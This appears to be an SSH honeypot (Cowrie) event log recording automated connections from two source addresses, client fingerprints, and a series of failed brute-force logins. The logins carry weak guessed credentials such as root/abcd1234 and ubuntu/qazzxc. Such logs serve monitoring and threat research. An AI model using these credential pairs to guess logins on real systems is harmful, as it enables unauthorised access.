{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:37.241947Z","src_ip":"91.92.40.36","session":"a2370e70efa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:37.501242Z","src_ip":"45.153.34.195","session":"f772f06adc9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.6","message":"Connection lost after 30.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:37.901208Z","src_ip":"91.92.40.36","session":"13b3987c7815","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":44054,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9fc6920db44","protocol":"ssh","message":"New connection: 45.153.34.195:44054 (10.17.0.5:22) [session: c9fc6920db44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:38.853951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:38.858557Z","src_ip":"45.153.34.195","session":"c9fc6920db44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:38.955513Z","src_ip":"45.153.34.195","session":"c9fc6920db44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:39.217271Z","src_ip":"45.153.34.195","session":"c9fc6920db44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.3","message":"Connection lost after 23.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:39.661608Z","src_ip":"91.92.40.36","session":"2f2852b20fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29380,"dst_ip":"159.203.135.109","dst_port":22,"session":"eada71e24fad","protocol":"ssh","message":"New connection: 91.92.40.36:29380 (159.203.135.109:22) [session: eada71e24fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:39.948372Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:40.301488Z","src_ip":"45.153.34.195","session":"c9fc6920db44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"limpbizkit","message":"login attempt [admin/limpbizkit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:40.823180Z","src_ip":"91.92.40.36","session":"18aeb28da1f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":44070,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca091032c6f2","protocol":"ssh","message":"New connection: 45.153.34.195:44070 (10.17.0.5:22) [session: ca091032c6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:41.840326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:41.844816Z","src_ip":"45.153.34.195","session":"ca091032c6f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:41.925132Z","src_ip":"45.153.34.195","session":"ca091032c6f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brad","password":"brad","message":"login attempt [brad/brad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:42.170706Z","src_ip":"45.153.34.195","session":"ca091032c6f2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:42.827081Z","src_ip":"91.92.40.36","session":"eada71e24fad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:42.832935Z","src_ip":"91.92.40.36","session":"eada71e24fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:43.253210Z","src_ip":"45.153.34.195","session":"ca091032c6f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"P@ssword123","message":"login attempt [haddock/P@ssword123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:44.597330Z","src_ip":"91.92.40.36","session":"0465e26ef224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":26626,"dst_ip":"10.17.0.5","dst_port":22,"session":"c78611e9d398","protocol":"ssh","message":"New connection: 45.153.34.195:26626 (10.17.0.5:22) [session: c78611e9d398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:44.635778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:44.642639Z","src_ip":"45.153.34.195","session":"c78611e9d398","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:44.736118Z","src_ip":"45.153.34.195","session":"c78611e9d398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:44.993250Z","src_ip":"45.153.34.195","session":"c78611e9d398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:46.076591Z","src_ip":"45.153.34.195","session":"c78611e9d398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.6","message":"Connection lost after 33.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:46.599702Z","src_ip":"91.92.40.36","session":"18aeb28da1f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":26636,"dst_ip":"10.17.0.5","dst_port":22,"session":"c07adf6382b9","protocol":"ssh","message":"New connection: 45.153.34.195:26636 (10.17.0.5:22) [session: c07adf6382b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:47.367987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:47.548370Z","src_ip":"45.153.34.195","session":"c07adf6382b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:47.552674Z","src_ip":"45.153.34.195","session":"c07adf6382b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48130,"dst_ip":"159.203.135.109","dst_port":22,"session":"059473898cdc","protocol":"ssh","message":"New connection: 91.92.40.36:48130 (159.203.135.109:22) [session: 059473898cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:47.689034Z"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest123","message":"login attempt [ftptest/ftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:48.156268Z","src_ip":"45.153.34.195","session":"c07adf6382b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.8","message":"Connection lost after 25.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:49.044100Z","src_ip":"91.92.40.36","session":"0465e26ef224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:49.314778Z","src_ip":"45.153.34.195","session":"c07adf6382b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazzxc","message":"login attempt [ubuntu/qazzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:49.612062Z","src_ip":"91.92.40.36","session":"a2370e70efa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":26640,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccebcc1c4b1e","protocol":"ssh","message":"New connection: 45.153.34.195:26640 (10.17.0.5:22) [session: ccebcc1c4b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:50.302627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:50.307452Z","src_ip":"45.153.34.195","session":"ccebcc1c4b1e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:50.351834Z","src_ip":"91.92.40.36","session":"059473898cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:50.357661Z","src_ip":"91.92.40.36","session":"059473898cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:50.447395Z","src_ip":"45.153.34.195","session":"ccebcc1c4b1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:50.926635Z","src_ip":"45.153.34.195","session":"ccebcc1c4b1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2345678","message":"login attempt [user/2345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:51.086249Z","src_ip":"91.92.40.36","session":"0abbd7822397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48150,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2d837d26db9","protocol":"ssh","message":"New connection: 91.92.40.36:48150 (159.203.135.109:22) [session: b2d837d26db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:51.949091Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:52.010761Z","src_ip":"45.153.34.195","session":"ccebcc1c4b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64528,"dst_ip":"10.17.0.5","dst_port":22,"session":"986d437aaae3","protocol":"ssh","message":"New connection: 45.153.34.195:64528 (10.17.0.5:22) [session: 986d437aaae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:53.230966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:53.238842Z","src_ip":"45.153.34.195","session":"986d437aaae3","protocol":"ssh"}
